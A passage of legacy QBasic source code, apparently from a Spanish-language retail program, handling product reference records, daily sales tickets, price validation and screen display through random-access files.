EditTransPutLine2 + GOSUB EditTransGetLine2 + + + CASE 3 + start$ = kbd$ + + DO + kbd$ = GetString$(CurrRow + 4, Col(3), start$, new$, vis(3), max(3)) + new3# = VAL(new$) + start$ = "" + LOOP WHILE new3# > 601# OR new3# < 0 + + CurrFig#(3) = new3# + IF CurrFig#(3) = 0 THEN CurrFig#(3) = 1 + GOSUB EditTransPutLine2 + GOSUB EditTransGetLine2 + + + CASE 4 + start$ = kbd$ + + DO + kbd$ = GetString$(CurrRow + 4, Col(4), start$, new$, vis(4), max(4)) + new4# = VAL(new$) + start$ = "" + LOOP WHILE new4# >= 75001# OR new4# < 0 + + CurrFig#(4) = new4# + IF CurrFig#(4) = 0 THEN + df = 0 + FOR Ol = 17 TO 19 + FOR Oc = 18 TO 59 + df = df + 1 + lin$(df) = CHR$(SCREEN(Ol, Oc)) + NEXT Oc, Ol + box 17, 18, 19, 59 + LOCATE 18, 20: PRINT "El P.V.P. No puede ser 0 ni menor de 0" + SLEEP + COLOR colors(7, ColorPref), colors(4, ColorPref) + df = 0 + FOR Ol = 17 TO 19 + FOR Oc = 18 TO 59 + df = df + 1 + LOCATE Ol, Oc: PRINT lin$(df) + NEXT Oc, Ol + END IF + GOSUB EditTransPutLine2 + GOSUB EditTransGetLine2 + + + + CASE 5 + start$ = kbd$ + + + DO + kbd$ = GetString$(CurrRow + 4, Col(5), start$, new$, vis(5), max(5)) + new5# = VAL(new$) + start$ = "" + LOOP WHILE new5# >= 75001# OR new5 < 0 + + + CurrFig#(5) = new5# + IF CurrFig#(5) = 0 THEN + df = 0 + FOR Ol = 17 TO 19 + FOR Oc = 18 TO 59 + df = df + 1 + lin$(df) = CHR$(SCREEN(Ol, Oc)) + NEXT Oc, Ol + box 17, 18, 19, 59 + LOCATE 18, 20: PRINT " El P.C. No puede ser 0 ni menor de 0" + SLEEP + df = 0 + COLOR colors(7, ColorPref), colors(4, ColorPref) + FOR Ol = 17 TO 19 + FOR Oc = 18 TO 59 + df = df + 1 + LOCATE Ol, Oc: PRINT lin$(df) + NEXT Oc, Ol + END IF + + GOSUB EditTransPutLine2 + GOSUB EditTransGetLine2 + + + CASE ELSE + END SELECT + + GOSUB EditTransPrintLine2 + + RETURN + +EditTransMoveUp2: + IF CurrRow = 1 THEN + IF CurrTopline = 1 THEN + BEEP + ELSE + ScrollDown + CurrTopline = CurrTopline - 1 + GOSUB EditTransGetLine2 + GOSUB EditTransPrintLine2 + END IF + ELSE + CurrRow = CurrRow - 1 + GOSUB EditTransGetLine2 + END IF + + RETURN + +EditTransMoveDown2: + IF (CurrRow + CurrTopline - 1) >= MaxRecord THEN + BEEP + ELSE + IF CurrRow = 19 THEN + ScrollUp + CurrTopline = CurrTopline + 1 + GOSUB EditTransGetLine2 + GOSUB EditTransPrintLine2 + ELSE + CurrRow = CurrRow + 1 + GOSUB EditTransGetLine2 + END IF + END IF + p = 0 + IF CurrFig#(4) = 0 THEN p = 1 ELSE IF CurrFig#(5) = 0 THEN p = 2 + IF p <> 0 THEN + df = 0 + FOR Ol = 17 TO 19 + FOR Oc = 18 TO 59 + df = df + 1 + lin$(df) = CHR$(SCREEN(Ol, Oc)) + NEXT Oc, Ol + box 17, 18, 19, 59 + LOCATE 18, 20: IF p = 1 THEN PRINT "El P.V.P. No puede ser 0 ni menor de 0" ELSE PRINT " El P.C. No puede ser 0 ni menor de 0" + SLEEP + COLOR colors(7, ColorPref), colors(4, ColorPref) + df = 0 + FOR Ol = 17 TO 19 + FOR Oc = 18 TO 59 + df = df + 1 + LOCATE Ol, Oc: PRINT lin$(df) + NEXT Oc, Ol + END IF + + + RETURN + +EditTransPrintLine2: + + COLOR colors(7, ColorPref), colors(4, ColorPref) + CurrRecord = CurrTopline + CurrRow - 1 + LOCATE CurrRow + 4, 4 + IF CurrRecord = MaxRecord + 1 THEN + PRINT u1x$; + ELSEIF CurrRecord > MaxRecord THEN + PRINT u1$; + ELSE + IF CurrFig#(2) <> 0 THEN PRINT " "; : PRINT USING u6$; CurrFig#(2); ELSE PRINT " "; + + IF RTRIM$(LTRIM$(CurrString$(1))) <> "" THEN PRINT "³ " + CurrString$(1); ELSE PRINT "³ "; + + IF CurrFig#(3) <> 0 THEN PRINT " ³ "; : PRINT USING u5$; CurrFig#(3); : PRINT " "; ELSE PRINT " ³ "; + + IF CurrFig#(4) <> 0 THEN PRINT "³ "; : PRINT USING u5$; CurrFig#(4); : PRINT " "; ELSE PRINT "³ "; + + IF CurrFig#(5) <> 0 THEN PRINT "³ "; : PRINT USING u2$; CurrFig#(5); ELSE PRINT "³ "; + +END IF + +RETURN + +EditTransDeleteRecord2: + IF MaxRecord = 1 THEN + BEEP + ELSE + CurrRecord = CurrTopline + CurrRow - 1 + MaxRecord = MaxRecord - 1 + a = CurrRecord + + WHILE a <= MaxRecord + GET #1, a + 2 + PUT #1, a + 1 + ref1000#(a) = ref1000#(a + 1) + a = a + 1 + WEND + + + LSET valid$ = "SI" + LSET IoMaxRecord$ = Cvit$(MaxRecord) + PUT #1, 1 + GOSUB EditTransPrintWholeScreen2 + CurrRecord = CurrTopline + CurrRow - 1 + IF CurrRecord > MaxRecord THEN + GOSUB EditTransMoveUp2 + END IF + GOSUB EditTransGetLine2 + END IF + RETURN + +EditTransAddRecord2: + + CurrRecord = CurrTopline + CurrRow - 1 + a = MaxRecord + + + WHILE a > CurrRecord + + GET #1, a + 1 + PUT #1, a + 2 + ref1000#(a + 1) = ref1000#(a) + a = a - 1 + + WEND + MaxRecord = MaxRecord + 1 + LSET IoRef$ = STR$(0) + LSET IoDesc$ = "" + LSET IoCC$ = STR$(0) + LSET IoPvp$ = STR$(0) + LSET IoPc$ = STR$(0) + PUT #1, CurrRecord + 2 + + LSET valid$ = "SI" + LSET IoMaxRecord$ = Cvit$(MaxRecord) + PUT #1, 1 + GOSUB EditTransPrintWholeScreen2 + GOSUB EditTransGetLine2 + RETURN + +EditTransPrintWholeScreen2: + + temp = CurrRow + FOR CurrRow = 1 TO 19 + CurrRecord = CurrTopline + CurrRow - 1 + IF CurrRecord <= MaxRecord THEN + GOSUB EditTransGetLine2 + END IF + GOSUB EditTransPrintLine2 + NEXT CurrRow + CurrRow = temp + RETURN + +EditTransPutLine2: + + CurrRecord = CurrTopline + CurrRow - 1 + LSET IoRef$ = LTRIM$(RTRIM$(STR$(CurrFig#(2)))) + LSET IoDesc$ = CurrString$(1) + LSET IoCC$ = LTRIM$(RTRIM$(STR$(CurrFig#(3)))) + LSET IoPvp$ = LTRIM$(RTRIM$(STR$(CurrFig#(4)))) + LSET IoPc$ = LTRIM$(RTRIM$(STR$(CurrFig#(5)))) + PUT #1, CurrRecord + 1 + + RETURN + + +EditTransGetLine2: + + CurrRecord = CurrTopline + CurrRow - 1 + GET #1, CurrRecord + 1 + CurrFig#(2) = VAL(IoRef$) + CurrString$(1) = IoDesc$ + CurrFig#(3) = VAL(IoCC$) + CurrFig#(4) = VAL(IoPvp$) + CurrFig#(5) = VAL(IoPc$) + RETURN + + +END SUB + +'SaveState: +' Save color preference and account information to "Personal.cfg" data file. +SUB SaveState + OPEN "Personal.cfg" FOR OUTPUT AS #2 + PRINT #2, ColorPref + + FOR a = 1 TO 19 + PRINT #2, account(a).Title + NEXT a + + CLOSE #2 +END SUB + +'ScrollDown: +' Call the assembly program to scroll the screen down +SUB ScrollDown + DEF SEG = VARSEG(ScrollDownAsm(1)) + CALL Absolute(VARPTR(ScrollDownAsm(1))) + DEF SEG +END SUB + +'ScrollUp: +' Calls the assembly program to scroll the screen up +SUB ScrollUp + DEF SEG = VARSEG(ScrollUpAsm(1)) + CALL Absolute(VARPTR(ScrollUpAsm(1))) + DEF SEG +END SUB + +SUB Staul + +END SUB + +SUB Stock (EEE%) + +END SUB + +SUB Ticket (e%) + + 'Stores info about each column + REDIM help$(6), Col(6), vis(6), max(6), CurrString$(1), CurrFig#(6) + 'Array to keep the current balance at all the transactions + REDIM Balance#(1000), Ca#(1000), Cb$(1000), Cc#(1000), Cd#(1000), Ce#(1000), lin$(155) + + + gf = 0 + box 17, 5, 21, 75 + center 18, "Por Favor Introduzca Fecha" + center 19, "con la que guardar ticket del d¡a." + PrintHelpLine "Fecha: mm - dd - aaaa" + DO + emp$ = GetString$(20, 7, DATE$, end$, 10, 10) + Fecha$ = end$ + M = VAL(MID$(Fecha$, 1, 2)) + D = VAL(MID$(Fecha$, 4, 2)) + IF M <= 12 AND D <= 31 THEN gf = 1 + IF LEN(Fecha$) < 10 THEN gf = 0 + LOOP WHILE gf = 0 + gf = 0 + + + mes$ = MID$(Fecha$, 1, 2) + dia$ = MID$(Fecha$, 4, 2) + an$ = MID$(Fecha$, 7, 4) + CurrDia$ = dia$ + compufech$ = mes$ + dia$ + an$ + + help$(1) = "Vendedor 1 a 9 " + help$(2) = "Referencia " + help$(3) = "Producto " + help$(4) = "Unidades " + help$(5) = "P.V.P. (Unidad) " + + Col(1) = 2: vis(1) = 3: max(1) = 1 + Col(2) = 9: vis(2) = 6: max(2) = 6 + Col(3) = 19: vis(3) = 22: max(3) = 22 + Col(4) = 43: vis(4) = 5: max(4) = 3 + Col(5) = 51: vis(5) = 10: max(5) = 8 + + + 'Open random access file + + file$ = "T-" + dia$ + mes$ + "." + Cvit$(e) + + OPEN file$ FOR RANDOM AS #1 LEN = 59 + + FIELD #1, 2 AS IoDia$, 6 AS IoRef$, 22 AS IoDesc$, 3 AS IoUnd$, 3 AS IoCC$, 8 AS IoPvp$, 8 AS IoPc$ + FIELD #1, 2 AS valid$, 5 AS IoMaxRecord$ + + 'Initialize variables + CurrString$(1) = "" + CurrFig#(2) = 0 + CurrFig#(3) = 0 + CurrFig#(4) = 0 + CurrFig#(5) = 0 + CurrFig#(6) = 0 + + GET #1, 1 + IF valid$ <> "SI" THEN + LSET IoDia$ = "" + LSET IoRef$ = STR$(0) + LSET IoDesc$ = "" + LSET IoUnd$ = STR$(0) + LSET IoCC$ = STR$(0) + LSET IoPvp$ = STR$(0) + LSET IoPc$ = STR$(0) + PUT #1, 2 + LSET valid$ = "SI" + LSET IoMaxRecord$ = "1" + PUT #1, 1 + END IF + + MaxRecord = VAL(IoMaxRecord$) + + Balance#(0) = 0 + a = 1 + + WHILE a <= MaxRecord + GET #1, a + 1 + p# = VAL(IoPvp$) + p1# = VAL(IoUnd$) + p2# = VAL(IoCC$) + p3# = VAL(IoPc$) + Balance#(a) = p# * p1# * p2# - p1# * p2# * p3# + BalTotal# = BalTotal# + Balance#(a) + a = a + 1 + WEND + + GOSUB CargaReferencias + + + 'Draw Screen + COLOR colors(7, ColorPref), colors(4, ColorPref) + box 2, 1, 21, 80 + box 22, 1, 24, 80 + COLOR colors(5, ColorPref), colors(4, ColorPref) + LOCATE 1, 1: PRINT SPACE$(80); + LOCATE 1, 4: PRINT "Empresa: " + Trim$(account(e%).Title); + 'LOCATE 1, 63: PRINT "Fecha: "; + 'LOCATE 1, 63: PRINT "Fecha: " + Fecha$; + + COLOR colors(7, ColorPref), colors(4, ColorPref) + + LOCATE 3, 2: PRINT " No. ³ Ref# ³ Concepto ³ Und ³ P.V.P. ³ Total " + LOCATE 4, 2: PRINT "ÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ" + u1$ = " ³ ³ ³ ³ ³ " + u1x$ = "ßßßßßß³ßßßßßßßß³ßßßßßßßßßßßßßßßßßßßßßßßß³ßßßßßßß³ßßßßßßßßßßßß³ßßßßßßßßßßßßßßßß" + u2$ = "##,###,###" + u3$ = "##,###,###,###" + u5$ = "###" + u6$ = "######" + u9$ = "#,###,###,###,###" + + CurrTopline = 1: bajabarra = 1 + GOSUB EditPrintWholeScreen + bajabarra = 0 + + CurrRow = 1 + CurrCol = 1 + PrintHelpLine help$(CurrCol) + "| " + + GOSUB EditGetLine + + finished = false + + GOSUB EditPrintBalances + + + 'Loop until is pressed + DO + GOSUB EditShowCursor 'Show Cursor, Wait for key + DO: kbd$ = INKEY$: LOOP UNTIL kbd$ <> "" + ed = 1: GOSUB EditShowCursor: ed = 0: 'Oculta el cursor para obtener datos ED=1 + bajabar = 0: bajabarra = 0 + + + IF kbd$ >= " " AND kbd$ < "~" OR kbd$ = CHR$(8) THEN 'If legal key, edit item + GOSUB EditEditItem + END IF + + SELECT CASE kbd$ 'Handle Special keys + CASE CHR$(0) + "H" 'up arrow + GOSUB EditMoveUp + CASE CHR$(0) + "P" 'Down arrow + GOSUB EditMoveDown + CASE CHR$(0) + "K", CHR$(0) + CHR$(15) 'Left Arrow,BackTab + + CurrCol = (CurrCol + 3) MOD 5 + 1 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "M", CHR$(9) 'Right Arrow,Tab + CurrCol = (CurrCol) MOD 5 + 1 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "G" 'Home + CurrCol = 1 + CASE CHR$(0) + "O" 'End + CurrCol = 6 + CASE CHR$(0) + "I" 'Page Up + CurrRow = 1 + CurrTopline = CurrTopline - 16 + IF CurrTopline < 1 THEN + CurrTopline = 1 + END IF + '************************ + bajabarra = 1 + + GOSUB EditPrintWholeScreen + GOSUB EditGetLine + bajabarra = 0 + GOSUB PrintBalan + CASE CHR$(0) + "Q" 'Page Down + CurrRow = 1 + CurrTopline = CurrTopline + 16 + IF CurrTopline > MaxRecord THEN + CurrTopline = MaxRecord + END IF + bajabarra = 1 + GOSUB EditPrintWholeScreen + GOSUB EditGetLine + bajabarra = 0 + GOSUB PrintBalan + + CASE CHR$(0) + "<" 'F2 + finished = true + CASE CHR$(0) + "C" 'F9 + GOSUB EditAddRecord + CASE CHR$(0) + "D" 'F10 + GOSUB EditDeleteRecord + CASE CHR$(13) 'Enter + CASE ELSE + BEEP + END SELECT + LOOP UNTIL finished + + CLOSE + + EXIT SUB + + +EditShowCursor: + IF ed = 1 THEN + COLOR colors(7, ColorPref), colors(4, ColorPref) + ELSE + COLOR colors(8, ColorPref), colors(9, ColorPref) + END IF + LOCATE CurrRow + 4, Col(CurrCol) + + SELECT CASE CurrCol + + CASE 1 + IF CurrFig#(2) <> 0 THEN + PRINT USING u6$; CurrFig#(2); + ELSE + PRINT SPACE$(vis(2)); + END IF + + CASE 2 + + IF RTRIM$(LTRIM$(CurrString$(1))) <> "" THEN + PRINT LEFT$(CurrString$(1), vis(2)); + ELSE + PRINT SPACE$(vis(2)) + END IF + + + CASE 3 + IF CurrFig#(3) <> 0 THEN + PRINT " "; + PRINT USING u5$; CurrFig#(3); + PRINT " "; + ELSE + PRINT " "; + END IF + + CASE 4 + IF CurrFig#(4) <> 0 THEN + PRINT " "; + PRINT USING u5$; CurrFig#(4); + PRINT " "; + ELSE + PRINT " "; + END IF + + CASE 5 + IF CurrFig#(5) <> 0 THEN + PRINT USING u2$; CurrFig#(5); + ELSE + PRINT " "; + END IF + + CASE 6 + IF CurrFig#(6) <> 0 THEN + PRINT USING u2$; CurrFig#(6); + ELSE + PRINT " "; + END IF + + + END SELECT + + RETURN + + +EditEditItem: + + CurrRecord = CurrTopline + CurrRow - 1 + + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE 1, 63: PRINT "Fecha: "; + LOCATE 1, 63: PRINT "Fecha: " + Fecha$; + COLOR colors(8, ColorPref), colors(9, ColorPref) + GraDat = 0: Clasifica = 0 + + SELECT CASE CurrCol + + CASE 1 + + start$ = kbd$ + DO + kbd$ = GetString$(CurrRow + 4, Col(1), start$, new$, vis(1), max(1)) + new1# = VAL(new$) + start$ = "" + LOOP WHILE new1# >= 1001# OR new1# < 0 + CurrFig#(2) = new1# + + reg = 0: b = 1 + + + DO + + IF Ca#(b) = CurrFig#(2) THEN + CurrString$(1) = Cb$(b) + CurrFig#(4) = Cc#(b) + CurrFig#(5) = Cd#(b) + CurrFig#(6) = Ce#(b) + Clasifica = 1: Valpu = 1 + EXIT DO + END IF + b = b + 1 + + LOOP WHILE Ca#(b) <> 0 OR b <= TopeRef# + 1 + + IF Clasifica = 0 THEN + df = 0 + FOR Ol = 16 TO 19 + FOR Oc = 24 TO 49 + df = df + 1 + lin$(df) = CHR$(SCREEN(Ol, Oc)) + NEXT Oc, Ol + box 16, 24, 19, 49 + IF TopeRef# = 999 THEN + LOCATE 17, 25: PRINT " Lo siento, referencias " + LOCATE 18, 25: PRINT "AGOTADAS, elimine alguna" + ELSE + LOCATE 17, 25: PRINT "Esa Referencia no existe" + LOCATE 18, 25: PRINT "¨ Desea crearla ? (S/N) " + DO + i$ = INKEY$ + LOOP WHILE i$ = "" + + COLOR colors(7, ColorPref), colors(4, ColorPref) + df = 0 + FOR Ol = 16 TO 19 + FOR Oc = 24 TO 49 + df = df + 1 + LOCATE Ol, Oc: PRINT lin$(df) + NEXT Oc, Ol + IF i$ = "s" OR i$ = "S" THEN + Valpu = 0 + TopeRef# = TopeRef# + 1 + GraDat = 1 + GraCurrDat = CurrTopline + CurrRow - 1 + ELSEIF i$ = "n" OR i$ = "N" THEN CurrFig#(2) = 0 + + END IF + END IF + END IF + + + + + GOSUB EditPutLine + GOSUB EditGetLine + + BalTotal# = BalTotal# - Balance#(CurrRecord) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + Balance#(CurrRecord) = PvpTotal# - PcTotal# + BalTotal# = BalTotal# + Balance#(CurrRecord) + + + + CASE 2 + + + + IF Valpu = 0 THEN + kbd$ = GetString$(CurrRow + 4, Col(CurrCol), kbd$, new$, vis(CurrCol), max(CurrCol)) + CurrString$(1) = new$ + END IF + + GOSUB EditPutLine + GOSUB EditGetLine + + + CASE 3 + start$ = kbd$ + + DO + kbd$ = GetString$(CurrRow + 4, Col(3), start$, new$, vis(3), max(3)) + new3# = VAL(new$) + start$ = "" + + IF CurrFig#(4) <= 100# AND new3# <= 601# OR new3# <= 0 THEN EXIT DO + + IF CurrFig#(4) > 100# AND new3# <= 11 OR new3# <= 0 THEN EXIT DO + + LOOP + + + + CurrFig#(3) = new3# + GOSUB EditPutLine + GOSUB EditGetLine + + BalTotal# = BalTotal# - Balance#(CurrRecord) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + Balance#(CurrRecord) = PvpTotal# - PcTotal# + BalTotal# = BalTotal# + Balance#(CurrRecord) + + + + CASE 4 + + IF Valpu = 0 THEN + + start$ = kbd$ + DO + kbd$ = GetString$(CurrRow + 4, Col(4), start$, new$, vis(4), max(4)) + new4# = VAL(new$) + start$ = "" + + IF CurrFig#(3) <= 10 AND new4# <= 601 OR new4# <= 0 THEN EXIT DO + IF CurrFig#(3) > 10 AND new4# <= 101 OR new4# <= 0 THEN EXIT DO + + LOOP + + + + CurrFig#(4) = new4# + + END IF + + GOSUB EditPutLine + GOSUB EditGetLine + + BalTotal# = BalTotal# - Balance#(CurrRecord) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + Balance#(CurrRecord) = PvpTotal# - PcTotal# + BalTotal# = BalTotal# + Balance#(CurrRecord) + + + CASE 5 + IF Valpu = 0 THEN + + start$ = kbd$ + old3# = CurrFig#(5) + + DO + kbd$ = GetString$(CurrRow + 4, Col(5), start$, new$, vis(5), max(5)) + new5# = VAL(new$) + start$ = "" + LOOP WHILE new5# >= 75001# OR new5# < 0 + a = CurrRecord + + CurrFig#(5) = new5# + + END IF + + + GOSUB EditPutLine + GOSUB EditGetLine + + BalTotal# = BalTotal# - Balance#(CurrRecord) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + Balance#(CurrRecord) = PvpTotal# - PcTotal# + BalTotal# = BalTotal# + Balance#(CurrRecord) + + + CASE 6 + IF Valpu = 0 THEN + + start$ = kbd$ + old4# = CurrFig#(6) + DO + kbd$ = GetString$(CurrRow + 4, Col(6), start$, new$, vis(6), max(6)) + new6# = VAL(new$) + start$ = "" + LOOP WHILE new6# >= 75001# OR new6# < 0 + a = CurrRecord + + CurrFig#(6) = new6# + + END IF + + GOSUB EditPutLine + GOSUB EditGetLine + + BalTotal# = BalTotal# - Balance#(CurrRecord) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + Balance#(CurrRecord) = PvpTotal# - PcTotal# + BalTotal# = BalTotal# + Balance#(CurrRecord) + + + CASE ELSE + END SELECT + + GOSUB EditPrintLine + + RETURN + +EditMoveUp: + Valpu = 0 + IF CurrRow = 1 THEN + IF CurrTopline = 1 THEN + BEEP + ELSE + ScrollDown + CurrTopline = CurrTopline - 1 + GOSUB EditGetLine + GOSUB EditPrintLine + END IF + ELSE + CurrRow = CurrRow - 1 + GOSUB EditGetLine + END IF + GOSUB PrintBalan + RETURN + +EditMoveDown: + Valpu = 0 + IF (CurrRow + CurrTopline - 1) >= MaxRecord THEN + BEEP + ELSE + IF CurrRow = 16 THEN + ScrollUp + CurrTopline = CurrTopline + 1 + GOSUB EditGetLine + GOSUB EditPrintLine + ELSE + CurrRow = CurrRow + 1 + GOSUB EditGetLine + END IF + END IF + GOSUB PrintBalan + RETURN + +EditPrintLine: + + COLOR colors(7, ColorPref), colors(4, ColorPref) + + CurrRecord = CurrTopline + CurrRow - 1 + LOCATE CurrRow + 4, 2 + IF CurrRecord = MaxRecord + 1 THEN + PRINT u1x$; + ELSEIF CurrRecord > MaxRecord THEN + PRINT u1$; + ELSE + IF CurrFig#(2) <> 0 THEN PRINT USING u6$; CurrFig#(2); ELSE PRINT " "; + + IF RTRIM$(LTRIM$(CurrString$(1))) <> "" THEN PRINT "³" + CurrString$(1); ELSE PRINT "³ "; + + IF CurrFig#(3) <> 0 THEN PRINT "³ "; : PRINT USING u5$; CurrFig#(3); : PRINT " "; ELSE PRINT "³ "; + + IF CurrFig#(4) <> 0 THEN PRINT "³ "; : PRINT USING u5$; CurrFig#(4); : PRINT " "; ELSE PRINT "³ "; + + IF CurrFig#(5) <> 0 THEN PRINT "³"; : PRINT USING u2$; CurrFig#(5); ELSE PRINT "³ "; + + IF CurrFig#(6) <> 0 THEN PRINT "³"; : PRINT USING u2$; CurrFig#(6); ELSE PRINT "³ "; + PRINT "³"; + PRINT USING u3$; Balance#(CurrRecord); + + IF bajabar <> 1 THEN GOSUB EditPrintBalances + + +END IF + +RETURN + +EditPrintBalances: + COLOR colors(7, ColorPref), colors(4, ColorPref) + FOR a = 1 TO 16 + CurrRecord = CurrTopline + a - 1 + IF CurrRecord <= MaxRecord THEN + LOCATE 4 + a, 66 + PRINT USING u3$; Balance#(CurrTopline + a - 1); + END IF + NEXT a + +PrintBalan: + + IF bajabarra <> 1 THEN + COLOR colors(7, ColorPref), colors(4, ColorPref) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + LOCATE 21, 1: PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ" + box 22, 1, 24, 80 + LOCATE 23, 2: PRINT CurrString$(1) + LOCATE 23, 25: PRINT "³"; + LOCATE 23, 26: PRINT USING u9$; PvpTotal#; + PRINT "³"; + PRINT USING u9$; PcTotal#; + PRINT "³"; + PRINT USING u9$; BalTotal#; + END IF + + RETURN + +EditDeleteRecord: + bajabar = 1 + IF MaxRecord = 1 THEN + BEEP + ELSE + CurrRecord = CurrTopline + CurrRow - 1 + MaxRecord = MaxRecord - 1 + a = CurrRecord + BalTotal# = BalTotal# - Balance#(CurrRecord) + WHILE a <= MaxRecord + GET #1, a + 2 + PUT #1, a + 1 + + Balance#(a) = Balance#(a + 1) + a = a + 1 + WEND + + Balance#(MaxRecord + 1) = 0 + + LSET valid$ = "SI" + LSET IoMaxRecord$ = Cvit$(MaxRecord) + PUT #1, 1 + GOSUB EditPrintWholeScreen + CurrRecord = CurrTopline + CurrRow - 1 + IF CurrRecord > MaxRecord THEN + GOSUB EditMoveUp + END IF + bajabar = 0 + GOSUB EditGetLine + + END IF + RETURN + +EditAddRecord: + bajabar = 1 + CurrRecord = CurrTopline + CurrRow - 1 + a = MaxRecord + + tb = 0 + WHILE a > CurrRecord + + GET #1, a + 1 + PUT #1, a + 2 + + Balance#(a + 1) = Balance#(a) + + a = a - 1 + + WEND + + + Balance#(CurrRecord + 1) = 0 + + MaxRecord = MaxRecord + 1 + LSET IoRef$ = STR$(0) + LSET IoDesc$ = "" + LSET IoUnd$ = STR$(0) + LSET IoCC$ = STR$(0) + LSET IoPvp$ = STR$(0) + LSET IoPc$ = STR$(0) + PUT #1, CurrRecord + 2 + + LSET valid$ = "SI" + LSET IoMaxRecord$ = Cvit$(MaxRecord) + PUT #1, 1 + GOSUB EditPrintWholeScreen + + GOSUB EditGetLine + RETURN + +EditPrintWholeScreen: + + temp = CurrRow + FOR CurrRow = 1 TO 16 + CurrRecord = CurrTopline + CurrRow - 1 + IF CurrRecord <= MaxRecord THEN + GOSUB EditGetLine + END IF + GOSUB EditPrintLine + NEXT CurrRow + CurrRow = temp + RETURN + + +EditPutLine: + + CurrRecord = CurrTopline + CurrRow - 1 + LSET IoDia$ = CurrDia$ + LSET IoRef$ = LTRIM$(RTRIM$(STR$(CurrFig#(2)))) + LSET IoDesc$ = CurrString$(1) + LSET IoUnd$ = LTRIM$(RTRIM$(STR$(CurrFig#(3)))) + LSET IoCC$ = LTRIM$(RTRIM$(STR$(CurrFig#(4)))) + LSET IoPvp$ = LTRIM$(RTRIM$(STR$(CurrFig#(5)))) + LSET IoPc$ = LTRIM$(RTRIM$(STR$(CurrFig#(6)))) + PUT #1, CurrRecord + 1 + +IF GraCurrDat = CurrRecord THEN + + file2$ = "Ref#." + Cvit$(e%) + OPEN file2$ FOR RANDOM AS #2 LEN = 54 + + FIELD #2, 6 AS IRf$, 22 AS IDsc$, 3 AS ICC$, 8 AS IPVP$, 8 AS IPC$ + FIELD #2, 2 AS vld$, 5 AS IMxRcrd$ + + LSET IRf$ = LTRIM$(RTRIM$(STR$(CurrFig#(2)))) + LSET IDsc$ = CurrString$(1) + LSET ICC$ = LTRIM$(RTRIM$(STR$(CurrFig#(4)))) + LSET IPVP$ = LTRIM$(RTRIM$(STR$(CurrFig#(5)))) + LSET IPC$ = LTRIM$(RTRIM$(STR$(CurrFig#(6)))) + PUT #2, TopeRef# + LSET vld$ = "SI" + LSET IMxRcrd$ = LTRIM$(RTRIM$(STR$(TopeRef#))) + PUT #2, 1 + + TopeRef# = VAL(IMxRcrd$) + + Ca#(TopeRef#) = CurrFig#(2) + Cb$(TopeRef#) = CurrString$(1) + Cc#(TopeRef#) = CurrFig#(4) + Cd#(TopeRef#) = CurrFig#(5) + Ce#(TopeRef#) = CurrFig#(6) + + CLOSE #2 +END IF + + + RETURN + + +EditGetLine: + + CurrRecord = CurrTopline + CurrRow - 1 + GET #1, CurrRecord + 1 + dia$ = IoDia$ + CurrFig#(2) = VAL(IoRef$) + CurrString$(1) = IoDesc$ + CurrFig#(3) = VAL(IoUnd$) + CurrFig#(4) = VAL(IoCC$) + CurrFig#(5) = VAL(IoPvp$) + CurrFig#(6) = VAL(IoPc$) + compufech$ = mes$ + "-" + dia$ + "-" + an$ + LOCATE 1, 63: PRINT "Fecha: "; + LOCATE 1, 63: PRINT "Fecha: " + compufech$; + + RETURN + + +CargaReferencias: + +CLS +box 14, 28, 17, 51 + +center 15, "Cargando referencias" +center 16, "Por favor, espere..." + + + file2$ = "Ref#." + Cvit$(e%) + + OPEN file2$ FOR RANDOM AS #2 LEN = 54 + + FIELD #2, 6 AS IRf$, 22 AS IDsc$, 3 AS ICC$, 8 AS IPVP$, 8 AS IPC$ + FIELD #2, 2 AS vld$, 5 AS IMxRcrd$ + + + + GET #2, 1 + IF vld$ <> "SI" THEN + LSET IRf$ = STR$(0) + LSET IDsc$ = "" + LSET ICC$ = STR$(0) + LSET IPVP$ = STR$(0) + LSET IPC$ = STR$(0) + PUT #2, 2 + LSET vld$ = "SI" + LSET IMxRcrd$ = "1" + PUT #2, 1 + END IF + TopeRef# = VAL(IMxRcrd$) + + + b = 1 + WHILE b <= TopeRef# + GET #2, b + 1 + Ca#(b) = VAL(IRf$) + Cb$(b) = IDsc$ + Cc#(b) = VAL(ICC$) + Cd#(b) = VAL(IPVP$) + Ce#(b) = VAL(IPC$) + b = b + 1 + WEND + + +CLOSE #2 +RETURN + +END SUB + +'Trin$: +' Remove null and spaces from the end of a string. +FUNCTION Trim$ (x$) + + IF x$ = "" THEN + Trim$ = "" + ELSE + lastChar = 0 + FOR a = 1 TO LEN(x$) + y$ = MID$(x$, a, 1) + IF y$ <> CHR$(0) AND y$ <> " " THEN + lastChar = a + END IF + NEXT a + Trim$ = LEFT$(x$, lastChar) + END IF + +END FUNCTION + +SUB Vende (r%) + 'Information about each column + REDIM help$(4), Col(4), vis(4), max(4), Title$(9), Desc$(9), Ca$(9), AType$(9) + 'Draw the screen + COLOR colors(7, ColorPref), colors(4, ColorPref) + OPEN "Vendedor" + Cvit$(item) FOR RANDOM AS #1 